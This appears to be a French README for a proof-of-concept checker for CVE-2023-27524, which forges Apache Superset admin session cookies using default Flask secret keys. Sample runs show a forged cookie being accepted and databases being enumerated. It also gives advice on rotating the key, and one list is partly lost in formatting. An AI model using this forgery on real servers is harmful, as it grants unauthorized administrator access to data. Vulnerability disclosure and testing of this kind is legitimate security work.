
PoC de base pour CVE-2023-27524 : configuration par défaut non sécurisée dans Apache Superset
Script pour vérifier si un serveur Apache Superset fonctionne avec une configuration par défaut non sécurisée (CVE-2023-27524). Le script vérifie si les cookies de session d'un serveur Superset sont signés avec des SECRET_KEYs Flask par défaut bien connues.
Le drapeau --validate peut être utilisé pour valider l'exploitabilité en énumérant les bases de données via l'API Superset.
Plus de détails ici : https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset Article de suivi : https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help show this help message and exit
--url URL, -u URL Base URL of Superset instance
--id ID User ID to forge session cookie for, default=1
--validate, -v Validate login
--timeout TIMEOUT, -t TIMEOUT
Time to wait before using forged session cookie, default=5s
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
Si le script détecte une SECRET_KEY utilisée mais ne parvient pas à valider l'exploitabilité, cela peut être dû à :
--id pour définir un user_id spécifique si vous le connaissez)Suivez les instructions ici pour générer et configurer une SECRET_KEY Flask. L'outil en ligne de commande superset peut être utilisé pour faire tourner la SECRET_KEY afin que les informations de connexion à la base de données existantes soient conservées.
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables ou tenus responsables en cas d'utilisation abusive du logiciel. Utilisez-le de manière responsable.